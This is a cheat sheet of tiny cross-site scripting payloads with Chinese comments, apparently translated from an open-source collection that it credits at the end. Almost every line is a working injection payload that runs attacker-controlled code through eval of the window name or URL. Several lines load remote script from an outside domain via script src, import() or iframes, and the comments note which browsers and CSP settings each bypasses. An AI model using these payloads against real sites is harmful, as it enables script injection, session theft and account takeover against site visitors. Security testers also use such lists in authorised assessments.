XSS-Payloads
<!-- 仅适用于反射型XSS --!> <svg/onload=eval(name)>
<!-- 如果你控制了 URL --> <svg/onload=eval(`'`+URL)>
<!-- 如果你控制了名字,但是 unsafe-eval 没有启用 --> <svg/onload=location=name>
<!-- 在 chrome 中,也适用于 innerHTML,即使在尚未插入 DOM 的元素上 --> <svg><svg/onload=eval(name)>
<!-- 如果您控制窗口的名称,此有效负载将在innerHTML 内工作,即使在尚未插入DOM 的元素上--> <audio/src/onerror=eval(name)>
<!-- 如果您控制 URL,此有效负载将在 innerHTML 内工作,即使在尚未插入 DOM 的元素上 --> <img/src/onerror=eval(`'`+URL)>
<!-- 随便一个脚本 --> <script/src=//NJ.₨></script>
<!-- 如果你控制了窗口的名字 --> <iframe/onload=src=top.name>
<!-- 如果你控制了 URL --> <iframe/onload=eval(`'`+URL)>
<!-- 如果页面上的 iframe 数量不变 --> <iframe/onload=src=top[0].name+/\NJ.₨?/>
<!-- 仅适用于 Firefox --> <iframe/srcdoc="<svg><script/href=//NJ.₨ />">
<!-- 如果页面上的 iframe 数量是随机的 --> <iframe/onload=src=contentWindow.name+/\NJ.₨?/>
<!-- 如果在 CSP 中禁用 unsafe-inline 并且允许外部脚本 --> <iframe/srcdoc="<script/src=//NJ.₨></script>">
<!-- 如果允许内联样式 --> <style/onload=eval(name)>
<!-- 如果允许内联样式并且可以控制 URL --> <style/onload=eval(`'`+URL)>
<!-- 如果内联样式被阻止 --> <style/onerror=eval(name)>
<!-- 使用外部脚本作为导入,在innerHTML 中不起作用,除非Firefox -->
<!-- PoC 仅适用于 https 和 Chrome,因为 NJ.₨ 检查 Sec-Fetch-Dest 标头 --> <svg/onload=import(/\\NJ.₨/)>
<!-- 使用外部脚本作为导入,如果允许内联样式则触发。 <!-- PoC 仅适用于 https 和 Chrome,因为 NJ.₨ 检查 Sec-Fetch-Dest 标头 --> <style/onload=import(/\\NJ.₨/)>
<!-- 使用外部脚本作为导入 --> <!-- PoC 仅适用于 https 和 Chrome,因为 NJ.₨ 检查 Sec-Fetch-Dest 标头 --> <iframe/onload=import(/\\NJ.₨/)>
弃用
<!-- 如果你控制了网址,Safari-only --> <iframe/onload=write(URL)>
<!-- 如果允许内联样式,仅 Safari --> <style/onload=write(URL)>
参考链接
https://github.com/terjanq/Tiny-XSS-Payloads#current-payloads